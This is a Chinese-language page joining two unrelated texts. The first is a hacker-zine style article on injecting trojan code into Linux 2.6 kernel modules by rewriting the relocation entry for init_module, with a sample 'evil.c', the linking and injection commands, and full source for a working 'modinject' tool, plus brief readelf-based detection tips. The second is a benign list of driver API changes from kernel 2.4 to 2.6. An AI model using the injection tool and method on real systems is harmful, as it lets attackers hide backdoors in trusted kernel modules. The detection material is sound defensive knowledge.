Migrating to Linux kernel 2.6

  |=-------------------[ module injection in 2.6 kernel ]-------------------=|
|=------------------------------------------------------------------------=|
|=---------------[ CoolQ   ]-----------------=|
|=------------------------------------------------------------------------=|

0 - 前言
1 - 2.4 回顾
2 - 2.6 的变化
    2.1 2.6的.ko文件
    2.2 失效的原因
3 - 对策
    3.1 修改.rel.gnu.linkonce.this_module
    3.2 例子
4 - 检测module injection的方法
5 - 参考
6 - 代码

--[ 0 - 前言

phrack 61期有一篇不错的文章[1]，给出了一种感染内核模块的方法，不过是基于2.4
内核的，该方法在2.6上无效，但是思想还是通用的。通过对2.6内核加载的分析，了解
两者之间的差异，并最终实现2.6下的module injection。

--[ 1 - 2.4 回顾

内核对模块的管理，是通过struct module来实现的，该结构的成员init/cleanup，代表
加载/卸载模块后需要运行的初始化/收尾函数，它的赋值是通过以下代码实现的：
module->init = obj_symbol_final_value(f,
                obj_find_symbol(f, "init_module"));
module->cleanup = obj_symbol_final_value(f,
                obj_find_symbol(f, "cleanup_module"));
可见，insmod需要在.strtab中查找init_module/cleanup_module字符串，并根据索引值
找到相应的.symtab中的符号，将相应的值赋值给module->init/cleanup。

因此，如果能把.strtab中别的字符串替换为init_module，那么系统加载的时候，运行的
就不是原来的init_module函数了。

--[ 2 - 2.6 的变化

2.6中的模块子系统被完全重写，如果用[1]中的工具，发现无论怎么修改.strtab，运行
的始终是原来的init_module。

--[ 2.1 2.6的.ko文件

2.6下的模块，扩展名为.ko，而不是2.4下的.o。很多初学者写完模块之后，会使用2.4的
方法来编译模块
-----------------------------8 test.c 8--------------------------------------
#include
#include
#include

static int dummy_init(void)
{
    printk("hello,world.\n");
    return 0;
}
static void dummy_exit(void)
{
    return;
}

module_init(dummy_init);
module_exit(dummy_exit);

MODULE_LICENSE("GPL")
------------------------------8 cut here 8-----------------------------------
# gcc -c -O2 -DMODULE -D__KERNEL__ -I/usr/src/linux test.c
# insmod test.o
No module found in object
insmod: error inserting 'test.o': -1 Invalid module format

正确的做法是写一个Makefile,由内核的Kbuild来帮你编译
-------------------------------8 Makefile 8-----------------------------------
obj-m := module.o
KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
default:
    $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
--------------------------------8 cut here 8----------------------------------
#make
make -C /lib/modules/2.6.5-1.358/build SUBDIRS=/test modules
make[1]: Entering directory `/lib/modules/2.6.5-1.358/build'
  CC [M]  /test/modinject/test.o
  Building modules, stage 2.
  MODPOST
  CC      /test/modinject/test.mod.o
  LD [M]  /test/modinject/test.ko
make[1]: Leaving directory `/lib/modules/2.6.5-1.358/build'
#ll
-rw-r--r--  1 root root   268 Jan  7 08:31 test.c
-rw-r--r--  1 root root  2483 Jan  8 09:19 test.ko
-rw-r--r--  1 root root   691 Jan  8 09:19 test.mod.c
-rw-r--r--  1 root root  1964 Jan  8 09:19 test.mod.o
-rw-r--r--  1 root root  1064 Jan  8 09:19 test.o

其实上边的test.o就是用gcc生成的test.o,而test.ko是使用下列命令来生成的
#ld -m elf_i386 -r -o test.ko test.o test.mod.o

再来看看test.mod.c，它是由/usr/src/linux/scripts/modpost.c来生成的
#cat test.mod.c
#include
#include
#include

MODULE_INFO(vermagic, VERMAGIC_STRING);

#undef unix
struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
.name = __stringify(KBUILD_MODNAME),
.init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
.exit = cleanup_module,
#endif
};
static const struct modversion_info ____versions[]
__attribute_used__
__attribute__((section("__versions"))) = {
        {        0, "cleanup_module" },
        {        0, "init_module" },
        {        0, "struct_module" },
        {        0, "printk" },
};
static const char __module_depends[]
__attribute_used__
__attribute__((section(".modinfo"))) =
"depends=";

可见，test.mod.o只是产生了几个ELF的节，分别是modinfo, .gun.linkonce.this_module
(用于重定位，引进了rel.gnu.linkonce.this_module), __versions。而test.ko是test.o
和test.mod.o合并的结果。

--[ 2.2 失效的原因

在2.1给出的test.c中，模块的初始化函数是dummy_init，这是通过module_init
(dummy_init)来实现的，module_init的作用是把dummy_init作为init_module的alias，这
个可以查看生成的符号表来验证：
   16: 00000000    14 FUNC    LOCAL  DEFAULT    1 dummy_init
   25: 00000000    14 FUNC    GLOBAL DEFAULT    1 init_module
看, 符号的st_value都是0，而且除了BIND类型以外，其他的完全一样!

在2.6的内核源代码中，并没有见到对module->init赋值的操作。问题的关键就是
test.mod.c中的那个struct module __this_module,这实际上就是内核用来管理的module
结构。内核装载模块的时候，会将这个节直接复制，并将module的指针指向__this_module
, 而".init = init_module"将module->init初始化为init_module.

如果你了解符号的解析过程,你应该很清楚:符号的重定位不需要.strtab的参与

看一下Elf32_Rel的定义
  typedef struct {
      Elf32_Addr r_offset;
      Elf32_Word r_info;
  } Elf32_Rel;
和重定位节.rel.gnu.linkonce.this_module
Relocation section '.rel.gnu.linkonce.this_module' at offset 0x758 contains 2
entries:
Offset     Info    Type            Sym.Value  Sym. Name
00000068  00001901 R_386_32          00000000   init_module
0000018c  00001801 R_386_32          0000000e   cleanup_module

0x68就是init在module struct中的偏移量，重定位的类型是R_386_32，重定位的目标是
上边符号表中的25: 0x0(节中的偏移量) 14(大小) FUNC(该符号是函数) GLOBAL(全局)
Default(可见域) 1(代表是Index为1的节 - .text) init_module(符号名)

也就是说，无论你将.strtab中的init_module修改为什么值，最终重定位的目标还是索引
为25的符号(init_module这个字符串只是给人看得，重定位不使用)。

--[ 3 - 对策

--[ 3.1 修改.rel.gnu.linkonce.this_module

既然知道了问题的原因，解决的方法就很容易了：我们的目标从.strtab变成了
.rel.gnu.linkonce.this_module中的Elf32_Rel entry。
具体的过程如下：
1. 编写木马模块，编译成.o(注意不是.ko)，木马的内容在3.2中给出
2. ld -r -o final.ko good.ko evil.o
3. 找到final.ko中的.rel.gnu.linkonce.this_module节
4. 遍历所有的entry, 如果ELF32_R_SYM(rel->r_info) == orig_init_idx，将
rel->r_info的symbol部分替换成木马的函数索引号，cleanup的情况相同
5. 将final.ko重命名为good.ko (因为ko中有一个meta data，名称必须相同)

--[ 3.2 例子

我们来把下列代码注射到上边的test.ko中
--------------------------------8 evil.c 8------------------------------------
#include
#include
#include

extern int init_module(void);

int main(int argc, char *argv)
{
        printk("hello,evil world.\n");
        init_module();
        return 0;
}
-------------------------------8 cut here 8-----------------------------------
1.# gcc -O2 -c -DMODULE -D__KERNEL__ -I/usr/src/linux-2.6/include evil.c
    .OR.
  # make (前题是你写了一个符合evil.c的Makefile)
2.# ld -r -o final.ko test.ko evil.o
3.# ./modinject final.ko main
  [+] - Change Reloc init OK !
4.# mv final.ko test.ko
5.# insmod test.ko
  hello,evil world.
  hello,world.
OK. 目的达到。请读者自行考虑木马里调用的为什么是init_module，程序能正常运行的
原因是什么，并对照2.4的相关部分。

--[ 4 - 检测module injection的方法

对付module injection的方法很多，文件完整性检查是方法之一。
如果没有准备哈希数据库，该怎么办呢？我们可以使用readelf或者objdump:
# readelf -r test.ko
...

Relocation section '.rel.gnu.linkonce.this_module' at offset 0x7a4 contains 2
entries:
Offset     Info    Type            Sym.Value  Sym. Name
00000068  00001c01 R_386_32          00000010   main     <--- 应该是init_module
0000018c  00001901 R_386_32          0000000e   cleanup_module

不过一定要瞪大眼睛哦，万一攻击者将init_module->init_modu1e，可不要被骗了 :-}

--[ 5 - 参考

  [1] [
  [2] kernel source code
  [3] ELF规范

--[ 6 - 代码

/* Name   : modinject.c
* Author : CoolQ
* Purpose: 2.6 kernel module injection
* Usage  : # gcc -c evil.c
*          # ld -r good.ko evil.o -o tmp.ko
*          # mv tmp.ko good.ko    # good.ko already infected
*          # ./modinject good.ko evil_func_start evil_func_end
*/

#include
#include
#include
#include
#include
#include
#include
#include
#include

#define ERROR(str)        \
    do{            \
        perror(str);    \
        exit(EXIT_FAILURE);    \
    }while(0)

void usage(char *prog);
int check_hdr(Elf32_Ehdr *ehdr);
Elf32_Shdr *Elf32_GetSectionByIndex(Elf32_Ehdr *ehdr, int index);
Elf32_Shdr *Elf32_GetSectionByName(Elf32_Ehdr *ehdr, char *name);
Elf32_Sym *Elf32_GetSymbolByName(Elf32_Ehdr *ehdr, char *name);
int Elf32_GetSymbolIndexByName(Elf32_Ehdr *ehdr, char *name);
int Elf32_Change_Reloc(Elf32_Rel *sym_rel, int to_idx);

void *base;  /* mmap base addr */

int main(int argc, char *argv[])
{
    char         *module_file, *evil_init_str, *evil_cleanup_str;
    int        fd, i;
    struct stat    stat;
    Elf32_Ehdr     *ehdr;
    Elf32_Shdr    *shdr, *module_sec;
    int        orig_init_idx, orig_cleanup_idx;
    int        evil_init_idx, evil_cleanup_idx;
    Elf32_Rel    *rel;
    
    if(argc != 3 && argc != 4)
        usage(argv[0]);
    
    module_file = argv[1];
    evil_init_str = argv[2];
    if(argc == 4)
        evil_cleanup_str = argv[3];
    else
        evil_cleanup_str = NULL;

    if((fd = open(module_file, O_RDWR)) == -1)
        ERROR("open file error.\n");
    if(fstat(fd, &stat) == -1)
        ERROR("get stat error.\n");
    
    base = mmap(0, stat.st_size, PROT_READ | PROT_WRITE,
            MAP_SHARED, fd, 0);
    if(base == MAP_FAILED)
        ERROR("mmap error.\n");
    
    ehdr = (Elf32_Ehdr *)base;
    
    if(check_hdr(ehdr) == -1)
        ERROR("Not a valid Elf32 file.\n");
    
    /* get struct module */
    module_sec = Elf32_GetSectionByName(ehdr,
            ".rel.gnu.linkonce.this_module");
    if(module_sec == -1)
        ERROR("this is not a valid module file.\n");
    
    /* get symbol index */
    evil_init_idx = Elf32_GetSymbolIndexByName(ehdr, evil_init_str);
    if(argc == 4)
        evil_cleanup_idx = Elf32_GetSymbolIndexByName(ehdr, evil_cleanup_str);
    else
        evil_cleanup_idx = 0;
    orig_init_idx = Elf32_GetSymbolIndexByName(ehdr, "init_module");
    if(argc == 4)
        orig_cleanup_idx = Elf32_GetSymbolIndexByName(ehdr, "cleanup_module");
    else
        orig_cleanup_idx = 0;
    if(evil_init_idx == -1 || evil_cleanup_idx == -1
        || orig_init_idx == -1 || orig_cleanup_idx == -1)
        ERROR("no such func names.\n");
    
    /* change reloc symbols if necessary */
    for(i = 0; i < module_sec->sh_size / sizeof(Elf32_Rel); i++){
        rel = base + module_sec->sh_offset + i * sizeof(Elf32_Rel);
                if(ELF32_R_SYM(rel->r_info) == orig_init_idx){
                        fprintf(stdout, "[+] - Change Reloc init OK !\n");
                        Elf32_Change_Reloc(rel, evil_init_idx);
                }
                else if(argc == 4 &&
                                ELF32_R_SYM(rel->r_info) == orig_cleanup_idx){
                        fprintf(stdout, "[+] - Change Reloc cleanup OK !\n");
                        Elf32_Change_Reloc(rel, evil_cleanup_idx);
                }
    }
    
    msync(base, stat.st_size, MS_SYNC);
    munmap(base, stat.st_size);
    close(fd);
    return 0;
}
void usage(char *prog)
{
    fprintf(stderr, "Usage:\n");
    fprintf(stderr, "\t%s infected.ko evil_func_start evil_func_end.\n",
            prog);
    fprintf(stderr, "OR\n");
    fprintf(stderr, "\t%s infected.ko evil_func_start.\n");
    exit(EXIT_FAILURE);
    return;
}
int check_hdr(Elf32_Ehdr *ehdr)
{
    /* some sanity checks */
    if(    ehdr->e_ident[EI_MAG0] != 0x7f ||
        ehdr->e_ident[EI_MAG1] != 'E' ||
        ehdr->e_ident[EI_MAG2] != 'L' ||
        ehdr->e_ident[EI_MAG3] != 'F' ||
        ehdr->e_ident[EI_CLASS] != ELFCLASS32 ||
        ehdr->e_ident[EI_DATA] != ELFDATA2LSB ||
        ehdr->e_ident[EI_VERSION] != EV_CURRENT ||
        ehdr->e_type != ET_REL ||
        ehdr->e_machine != EM_386 )
        return -1;
    else
        return 0;
}
Elf32_Shdr *Elf32_GetSectionByIndex(Elf32_Ehdr *ehdr, int index)
{
    return(base + (ehdr->e_shoff + sizeof(Elf32_Shdr) * index));
}
Elf32_Shdr *Elf32_GetSectionByName(Elf32_Ehdr *ehdr, char *name)
{
    int        i;
    char        *secname;
    Elf32_Shdr    *strtab, *sec;

    strtab = Elf32_GetSectionByIndex(ehdr, ehdr->e_shstrndx);
    for(i = 0; i < ehdr->e_shnum; i++){
        sec = Elf32_GetSectionByIndex(ehdr, i);
        secname = base + strtab->sh_offset + sec->sh_name;
        if(strcmp(name, secname) == 0)
            return(sec);
    }
    return -1;
}
Elf32_Sym *Elf32_GetSymbolByName(Elf32_Ehdr *ehdr, char *name)
{
    int        i;
    char         *sym_name;
    Elf32_Shdr    *symtab, *strtab;
    Elf32_Sym    *symbol;
    
    symtab = Elf32_GetSectionByName(ehdr, ".symtab");
    strtab = Elf32_GetSectionByName(ehdr, ".strtab");
    if(symtab == -1 || strtab == -1)
        ERROR("no symtab section or strtab section.\n");
    for(i = 0; i < symtab->sh_size / sizeof(Elf32_Sym); i++){
        symbol = base + symtab->sh_offset + i * sizeof(Elf32_Sym);
        sym_name = base + strtab->sh_offset + symbol->st_name;
        if(strcmp(name, sym_name) == 0 && /* only return func symbol */
            ELF32_ST_TYPE(symbol->st_info) == STT_FUNC)
            return symbol;
    }
    return -1;
}
int Elf32_GetSymbolIndexByName(Elf32_Ehdr *ehdr, char *name)
{
    int        i;
    char         *sym_name;
    Elf32_Shdr    *symtab, *strtab;
    Elf32_Sym    *symbol;
    
    symtab = Elf32_GetSectionByName(ehdr, ".symtab");
    strtab = Elf32_GetSectionByName(ehdr, ".strtab");
    if(symtab == -1 || strtab == -1)
        ERROR("no symtab section or strtab section.\n");
    for(i = 0; i < symtab->sh_size / sizeof(Elf32_Sym); i++){
        symbol = base + symtab->sh_offset + i * sizeof(Elf32_Sym);
        sym_name = base + strtab->sh_offset + symbol->st_name;
        if(strcmp(name, sym_name) == 0 &&
            ELF32_ST_TYPE(symbol->st_info) == STT_FUNC)
            return i;
    }
    return -1;

}

int Elf32_Change_Reloc(Elf32_Rel *sym_rel, int to_idx)
{
    unsigned int type;

    type = ELF32_R_TYPE(sym_rel->r_info);
    sym_rel->r_info = ELF32_R_INFO(to_idx, type);
    
    return 0;
}
()

把linux kernel 2.4 上的driver 移植到 2.6 kernel

作者：晏渭川
随着Linux2.6的发布，由于2.6内核做了教的改动，各个设备的驱动程序在不同程度上要
进行改写。为了方便各位Linux爱好者我把自己整理的这分文档share出来。该文当列举
了2.6内核同以前版本的绝大多数变化，可惜的是由于时间和精力有限没有详细列出各个
函数的用法。
特别声明：该文档中的内容来自，该网也上也有各个函数的较为详细的
说明可供各位参考。如果需要该文档的word版的朋友， 请mail到[e-mail]索
取。

1、 使用新的入口
必须包含
module_init(your_init_func);
module_exit(your_exit_func);
老版本：int init_module(void);
void cleanup_module(voi);
2.4中两种都可以用，对如后面的入口函数不必要显示包含任何头文件。
2、 GPL
MODULE_LICENSE("Dual BSD/GPL");
老版本：MODULE_LICENSE("GPL");
3、 模块参数
必须显式包含
module_param(name, type, perm);
module_param_named(name, value, type, perm);
参数定义
module_param_string(name, string, len, perm);
module_param_array(name, type, num, perm);
老版本：MODULE_PARM(variable,type);
MODULE_PARM_DESC(variable,type);
4、 模块别名
MODULE_ALIAS("alias-name");
这是新增的，在老版本中需在/etc/modules.conf配置，现在在代码中就可以实现。
5、 模块计数
int try_module_get(&module);
module_put();
老版本：MOD_INC_USE_COUNT 和 MOD_DEC_USE_COUNT
6、 符号导出
只有显示的导出符号才能被其他模块使用，默认不导出所有的符号，不必使用EXPORT_NO
_SYMBOLS
老板本：默认导出所有的符号，除非使用EXPORT_NO_SYMBOLS
7、 内核版本检查
需要在多个文件中包含时，不必定义__NO_VERSION__
老版本：在多个文件中包含时，除在主文件外的其他文件中必须定义_
_NO_VERSION__，防止版本重复定义。
8、 设备号
kdev_t被废除不可用，新的dev_t拓展到了32位，12位主设备号，20位次设备号。
unsigned int iminor(struct inode *inode);
unsigned int imajor(struct inode *inode);
老版本：8位主设备号，8位次设备号
int MAJOR(kdev_t dev);
int MINOR(kdev_t dev);
9、 内存分配头文件变更
所有的内存分配函数包含在头文件，而原来的不存在
老版本：内存分配函数包含在头文件
10、 结构体的初试化
gcc开始采用ANSI C的struct结构体的初始化形式：
static struct some_structure = {
.field1 = value,
.field2 = value,
..
};
老版本：非标准的初试化形式
static struct some_structure = {
field1: value,
field2: value,
..
};
11、 用户模式帮助器
int call_usermodehelper(char *path, char **argv, char **envp,
int wait);
新增wait参数
12、 request_module()
request_module("foo-device-%d", number);
老版本：
char module_name[32];
printf(module_name, "foo-device-%d", number);
request_module(module_name);
13、 dev_t引发的字符设备的变化
1、取主次设备号为
unsigned iminor(struct inode *inode);
unsigned imajor(struct inode *inode);
2、老的register_chrdev()用法没变，保持向后兼容，但不能访问设备号大于256的设备
。
3、新的接口为
a)注册字符设备范围
int register_chrdev_region(dev_t from, unsigned count, char *name);
b)动态申请主设备号
int alloc_chrdev_region(dev_t *dev, unsigned baseminor, unsigned count, char
*name);
看了这两个函数郁闷吧^_^！怎么和file_operations结构联系起来啊？别急！
c)包含 ，利用struct cdev和file_operations连接
struct cdev *cdev_alloc(void);
void cdev_init(struct cdev *cdev, struct file_operations *fops);
int cdev_add(struct cdev *cdev, dev_t dev, unsigned count);
（分别为，申请cdev结构，和fops连接，将设备加入到系统中！好复杂啊！）
d)void cdev_del(struct cdev *cdev);
只有在cdev_add执行成功才可运行。
e)辅助函数
kobject_put(&cdev->kobj);
struct kobject *cdev_get(struct cdev *cdev);
void cdev_put(struct cdev *cdev);
这一部分变化和新增的/sys/dev有一定的关联。
14、 新增对/proc的访问操作

以前的/proc中只能得到string, seq_file操作能得到如long等多种数据。
相关函数：
static struct seq_operations 必须实现这个类似file_operations得数据中得各个成
员函数。
seq_printf()；
int seq_putc(struct seq_file *m, char c);
int seq_puts(struct seq_file *m, const char *s);
int seq_escape(struct seq_file *m, const char *s, const char *esc);
int seq_path(struct seq_file *m, struct vfsmount *mnt,
struct dentry *dentry, char *esc);
seq_open(file, &ct_seq_ops);
等等
15、 底层内存分配
1、头文件改为
2、分配标志GFP_BUFFER被取消，取而代之的是GFP_NOIO 和 GFP_NOFS
3、新增__GFP_REPEAT，__GFP_NOFAIL，__GFP_NORETRY分配标志
4、页面分配函数alloc_pages()，get_free_page()被包含在中
5、对NUMA系统新增了几个函数：
a) struct page *alloc_pages_node(int node_id,
unsigned int gfp_mask,
unsigned int order);
b) void free_hot_page(struct page *page);
c) void free_cold_page(struct page *page);
6、 新增Memory pools

mempool_t *mempool_create(int min_nr,
mempool_alloc_t *alloc_fn,
mempool_free_t *free_fn,
void *pool_data);
void *mempool_alloc(mempool_t *pool, int gfp_mask);
void mempool_free(void *element, mempool_t *pool);
int mempool_resize(mempool_t *pool, int new_min_nr, int gfp_mask);
16、 per-CPU变量
get_cpu_var();
put_cpu_var();
void *alloc_percpu(type);
void free_percpu(const void *);
per_cpu_ptr(void *ptr, int cpu)
get_cpu_ptr(ptr)
put_cpu_ptr(ptr)
老版本使用
DEFINE_PER_CPU(type, name);
EXPORT_PER_CPU_SYMBOL(name);
EXPORT_PER_CPU_SYMBOL_GPL(name);
DECLARE_PER_CPU(type, name);
DEFINE_PER_CPU(int, mypcint);
2.6内核采用了可剥夺得调度方式这些宏都不安全。
17、 内核时间变化
1、现在的各个平台的HZ为
Alpha: 1024/1200; ARM: 100/128/200/1000; CRIS: 100; i386: 1000; IA-64:
1024; M68K: 100; M68K-nommu: 50-1000; MIPS: 100/128/1000; MIPS64: 100;
PA-RISC: 100/1000; PowerPC32: 100; PowerPC64: 1000; S/390: 100; SPARC32:
100; SPARC64: 100; SuperH: 100/1000; UML: 100; v850: 24-100; x86-64: 1000.
2、由于HZ的变化，原来的jiffies计数器很快就溢出了，引入了新的计数器jiffies_64
3、#include
u64 my_time = get_jiffies_64();
4、新的时间结构增加了纳秒成员变量
struct timespec current_kernel_time(void);
5、他的timer函数没变，新增
void add_timer_on(struct timer_list *timer, int cpu);
6、新增纳秒级延时函数
ndelay()；
7、POSIX clocks 参考kernel/posix-timers.c
18、 工作队列（workqueue）
1、任务队列（task queue ）接口函数都被取消，新增了workqueue接口函数
struct workqueue_struct *create_workqueue(const char *name);
DECLARE_WORK(name, void (*function)(void *), void *data);
INIT_WORK(struct work_struct *work,
void (*function)(void *), void *data);
PREPARE_WORK(struct work_struct *work,
void (*function)(void *), void *data);
2、申明struct work_struct结构
int queue_work(struct workqueue_struct *queue,
struct work_struct *work);
int queue_delayed_work(struct workqueue_struct *queue,
struct work_struct *work,
unsigned long delay);
int cancel_delayed_work(struct work_struct *work);
void flush_workqueue(struct workqueue_struct *queue);
void destroy_workqueue(struct workqueue_struct *queue);
int schedule_work(struct work_struct *work);
int schedule_delayed_work(struct work_struct *work, unsigned long
delay);
19、 新增创建VFS的"libfs"
libfs给创建一个新的文件系统提供了大量的API.
主要是对struct file_system_type的实现。
参考源代码：
drivers/hotplug/pci_hotplug_core.c
drivers/usb/core/inode.c
drivers/oprofile/oprofilefs.c
fs/ramfs/inode.c
fs/nfsd/nfsctl.c (simple_fill_super() example)
20、 DMA的变化
未变化的有：
void *pci_alloc_consistent(struct pci_dev *dev, size_t size,
dma_addr_t *dma_handle);
void pci_free_consistent(struct pci_dev *dev, size_t size,
void *cpu_addr, dma_addr_t dma_handle);
变化的有：
1、 void *dma_alloc_coherent(struct device *dev, size_t size,
dma_addr_t *dma_handle, int flag);
void dma_free_coherent(struct device *dev, size_t size,
void *cpu_addr, dma_addr_t dma_handle);
2、列举了映射方向：
enum dma_data_direction {
DMA_BIDIRECTIONAL = 0,
DMA_TO_DEVICE = 1,
DMA_FROM_DEVICE = 2,
DMA_NONE = 3,
};
3、单映射
dma_addr_t dma_map_single(struct device *dev, void *addr,
size_t size,
enum dma_data_direction direction);
void dma_unmap_single(struct device *dev, dma_addr_t dma_addr,
size_t size,
enum dma_data_direction direction);
4、页面映射
dma_addr_t dma_map_page(struct device *dev, struct page *page,
unsigned long offset, size_t size,
enum dma_data_direction direction);
void dma_unmap_page(struct device *dev, dma_addr_t dma_addr,
size_t size,
enum dma_data_direction direction);
5、有关scatter/gather的函数：
int dma_map_sg(struct device *dev, struct scatterlist *sg,
int nents, enum dma_data_direction direction);
void dma_unmap_sg(struct device *dev, struct scatterlist *sg,
int nhwentries, enum dma_data_direction direction);
6、非一致性映射（Noncoherent DMA mappings）
void *dma_alloc_noncoherent(struct device *dev, size_t size,
dma_addr_t *dma_handle, int flag);
void dma_sync_single_range(struct device *dev, dma_addr_t dma_handle,
unsigned long offset, size_t size,
enum dma_data_direction direction);
void dma_free_noncoherent(struct device *dev, size_t size,
void *cpu_addr, dma_addr_t dma_handle);
7、DAC (double address cycle)
int pci_dac_set_dma_mask(struct pci_dev *dev, u64 mask);
void pci_dac_dma_sync_single(struct pci_dev *dev,
dma64_addr_t dma_addr,
size_t len, int direction);
21、 互斥
新增seqlock主要用于：
1、少量的数据保护
2、数据比较简单(没有指针)，并且使用频率很高
3、对不产生任何副作用的数据的访问
4、访问时写者不被饿死

初始化
seqlock_t lock1 = SEQLOCK_UNLOCKED;
或seqlock_t lock2; seqlock_init(&lock2);
void write_seqlock(seqlock_t *sl);
void write_sequnlock(seqlock_t *sl);
int write_tryseqlock(seqlock_t *sl);
void write_seqlock_irqsave(seqlock_t *sl, long flags);
void write_sequnlock_irqrestore(seqlock_t *sl, long flags);
void write_seqlock_irq(seqlock_t *sl);
void write_sequnlock_irq(seqlock_t *sl);
void write_seqlock_bh(seqlock_t *sl);
void write_sequnlock_bh(seqlock_t *sl);
unsigned int read_seqbegin(seqlock_t *sl);
int read_seqretry(seqlock_t *sl, unsigned int iv);
unsigned int read_seqbegin_irqsave(seqlock_t *sl, long flags);
int read_seqretry_irqrestore(seqlock_t *sl, unsigned int iv, long
flags);
22、 内核可剥夺

preempt_disable()；
preempt_enable_no_resched()；
preempt_enable_noresched()；
preempt_check_resched()；
23、 眠和唤醒
1、原来的函数可用，新增下列函数：
prepare_to_wait_exclusive()；
prepare_to_wait()；
2、等待队列的变化
typedef int (*wait_queue_func_t)(wait_queue_t *wait,
unsigned mode, int sync);
void init_waitqueue_func_entry(wait_queue_t *queue,
wait_queue_func_t func);
24、 新增完成事件（completion events）

init_completion(&my_comp);
void wait_for_completion(struct completion *comp);
void complete(struct completion *comp);
void complete_all(struct completion *comp);
25、 RCU（Read-copy-update）
rcu_read_lock();
void call_rcu(struct rcu_head *head, void (*func)(void *arg),
void *arg);
26、 中断处理
1、中断处理有返回值了。
IRQ_RETVAL(handled)；
2、cli(), sti(), save_flags(), 和 restore_flags()不再有效，应该使用local_save
_flags() 或local_irq_disable()。
3、synchronize_irq()函数有改动
4、新增int can_request_irq(unsigned int irq, unsigned long flags);
5、 request_irq() 和free_irq() 从 改到了
27、 异步I/O(AIO)

ssize_t (*aio_read) (struct kiocb *iocb, char __user *buffer,
size_t count, loff_t pos);
ssize_t (*aio_write) (struct kiocb *iocb, const char __user *buffer,
size_t count, loff_t pos);
int (*aio_fsync) (struct kiocb *, int datasync);
新增到了file_operation结构中。
is_sync_kiocb(struct kiocb *iocb)；
int aio_complete(struct kiocb *iocb, long res, long res2);
28、 网络驱动
1、struct net_device *alloc_netdev(int sizeof_priv, const char *name,
void (*setup)(struct net_device *));
struct net_device *alloc_etherdev(int sizeof_priv);
2、新增NAPI(New API)
void netif_rx_schedule(struct net_device *dev);
void netif_rx_complete(struct net_device *dev);
int netif_rx_ni(struct sk_buff *skb);
(老版本为netif_rx())
29、 USB驱动
老版本struct usb_driver取消了，新的结构体为
struct usb_class_driver {
char *name;
struct file_operations *fops;
mode_t mode;
int minor_base;
};
int usb_submit_urb(struct urb *urb, int mem_flags);
int (*probe) (struct usb_interface *intf,
const struct usb_device_id *id);
30、 block I/O 层
这一部分做的改动最大。不祥叙。
31、 mmap()
int remap_page_range(struct vm_area_struct *vma, unsigned long from,
unsigned long to, unsigned long size,
pgprot_t prot);
int io_remap_page_range(struct vm_area_struct *vma, unsigned long from,
unsigned long to, unsigned long size,
pgprot_t prot);
struct page *(*nopage)(struct vm_area_struct *area,
unsigned long address,
int *type);
int (*populate)(struct vm_area_struct *area, unsigned long address,
unsigned long len, pgprot_t prot, unsigned long pgoff,
int nonblock);
int install_page(struct mm_struct *mm, struct vm_area_struct *vma,
unsigned long addr, struct page *page,
pgprot_t prot);
struct page *vmalloc_to_page(void *address);
32、 零拷贝块I/O(Zero-copy block I/O)
struct bio *bio_map_user(struct block_device *bdev,
unsigned long uaddr,
unsigned int len,
int write_to_vm);
void bio_unmap_user(struct bio *bio, int write_to_vm);
int get_user_pages(struct task_struct *task,
struct mm_struct *mm,
unsigned long start,
int len,
int write,
int force,
struct page **pages,
struct vm_area_struct **vmas);
33、 高端内存操作kmaps
void *kmap_atomic(struct page *page, enum km_type type);
void kunmap_atomic(void *address, enum km_type type);
struct page *kmap_atomic_to_page(void *address);
老版本：kmap() 和 kunmap()。
34、 驱动模型
主要用于设备管理。
1、 sysfs
2、 Kobjects